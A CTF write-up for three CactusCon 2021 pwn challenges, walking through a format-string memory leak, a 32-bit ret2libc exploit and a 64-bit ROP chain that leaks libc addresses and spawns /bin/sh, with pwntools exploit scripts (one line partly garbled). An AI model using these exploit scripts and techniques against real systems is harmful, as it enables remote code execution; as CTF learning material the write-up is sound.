CactusCon 2021 - CTF

PWN - TPS Report 1

The binary is a 32-bit arm executable that allows creating, deleting and displaying of “jobs”. Upon connecting we see that one job is already “cached” inside the application with an address and an epoch timestamp next to it. The “path” field of the job creation function is vulnerable to a format string bug. We can use it to dump memory and we quickly notice that the same address from the menu is on position 13. So we dump it with %13$s and see what string it points to. Success!

        -- Hemidyne Electronic Systems --

[*] Printer and Fax Debug Menu:

    [1] View Current Jobs
    [2] Delete Job
    [3] Create Job
    [4] Display Menu
    [5] Exit

> 3
[!] Name of job: test
[!] Path: %13$s
> 1
[*] Current jobs:
        0 - /hemidyne/tps_report.rtf 0xa70000 1612645919
        1 - test 
                           ,  █████▒'''.█████▒''''  ,                           
                 ▓████▌ '''╟████▌''''▐██▒']█████░..'j█████▒'..'                 
                 ▓████▌╓φ▒╠╬╬╬██▌''''  ╙` ]█████░╓φ╬╠╬╬╬██▒''''                 
                 ▓██████▓▒╬╬╠╩╙╙'''''     ]███████▓▒╬╬╠╩╙└ ''''                 
                 ╫█████████▌'''.''.'░     '██████████░ .'''.''=                 
                   └▀▀█████▌''''░"           ╙▀██████░.''!ⁿ"                    
                        ╙▀█▌""                   ╙▀██░"                         
        ▓▓▓M 4▓▓▓▄  ]▓▓▓ ]▓▓▓╗▓▓▓▓▓▓▓▓▓⌐▓▓▓▓▓▓▓▓▓⌐ ╓▄▓▓▓▓▓▄µ  ╔▓▓▓   ]▓▓▓       
       ]███  █████▌ ▓██▌ ╫███╙╙╙████╙╙╙]███▒╙╙╙╙╙╓███▀╙╙▀███▌ ███▌   ╫███       
       ╫███ ╟███╚██████  ███⌐  ]███⌐   ╫████████ ███▌   ,,,, ▐██████████⌐       
      .███⌐ ███⌐ ╙████▌ ╟███   ╫███   .████▓▓▓▓▌ ████▓▓████╨ ▓███   ╟███        
       ╙╙╙  ╙╙╙   └╙╙╙  ╙╙╙`   ╙╙╙`    ╙╙╙╙╙╙╙╙└   └╙╙╙╙└    ╙╙╙    ╙╙╙`        

---------------------------------- TPS REPORT ----------------------------------

Prepared By: Bill Lumbergh                                      Date: 6 Aug 2020

System: Printer


[*] Displayed 2 job(s)

PWN - Warmup

This challenge is a fairly standard 32 bit x86 Buffer Overflow challenge with ASLR and NX enabled. We are presented with a simple input and on top of that the program prints us the current address of the libc system function, now neat!

Warmup remote shell.
system @ 0xf7dbc830

My approach was a simple ret2libc exploit since we already know the system address. Then we only need an address to the string “/bin/sh\x00”. This string isn’t present in the actual binary but instead in libc. To calculate the right offset for the string, we first need to figure out the version of libc our target is using. For this I used a convenient website, which can show us the possible libc version given the last 3 digits of an already know address. The last 3 digits for the printed system address are 830, so we set up our exploit and try all the different offsets for str_bin_sh until one works!

I found that 0x14cb22 was the right offset and would give me a shell!

from pwn import *

r = remote('', 9000)
r.recvuntil('@ ')
system = int(r.recvuntil('\n')[:-1],16)

bin_sh = system + 0x14cb22'system: '+hex(system))'bin_sh: '+hex(bin_sh))
exit = 0

payload = 'A'*44
payload += p32(system)
payload += p32(exit)
payload += p32(bin_sh)


PWN - BabyRop

This challenge is a standard 64 bit x86 Buffer Overflow challenge again with ASLR and NX enabled. Again we have a simple prompt which expects an input from the user, no address this time.

Simple ROP.
Segmentation fault

As the name already suggests, we have to use ROP to leak some information and build our exploit on top of that. First thing I did was get the GOT addresses of the functions I want to leak the libc address of, in my case printf & setvbuf.

As we know 64 bit requires the arguments in registers, rdi being the first one. With that info we can build our ropchain and pop the got address in rdi, then null out rsi to avoid problems, and finally jump to printf@plt to call printf and perform our leak.

Once both addresses are leaked we can again use to figure out the exact (more or less) libc version. Next we calculate the offsets to system and /bin/sh\x00 in libc.

Finally we can restart the program by jumping to the address of _start, then finishing our exploit with the ropchain executing system("/bin/sh"); for us!

from pwn import *

r = remote('', 9001)

# libc6_2.31-0ubuntu9_amd64 

printf_plt = 0x401030
printf_got = 0x404018
setvbuf_got = 0x404028
pop_rdi = 0x40122b
pop_rsi_r15 = 0x401229
start = 0x401060
ret = 0x401016

payload = 'A'*40

payload += p64(pop_rdi)
payload += p64(printf_got) # printf arg
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(printf_plt)

# only need this leak once for libc finding
payload += p64(pop_rdi)
payload += p64(setvbuf_got) # printf arg
payload += p64(pop_rsi_r15)
payload += p64(0)
payload += p64(0)
payload += p64(printf_plt)

payload += p64(pop_rdi)
payload += p64(1337) # cause we're leet
payload += p64(start)

r.recvuntil('> ')

printf = u64(r.recv(6)+'\x00\x00')
setvbuf = u64(r.recv(6)+'\x00\x00')

log.success('printf: '+hex(printf))
log.success('setvbuf: '+hex(setvbuf))

system = printf - 0xfa00
bin_sh = printf + 0x15279a

log.success('system: '+hex(system))
log.success('bin_sh: '+hex(bin_sh))

payload = 'A'*40
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(system)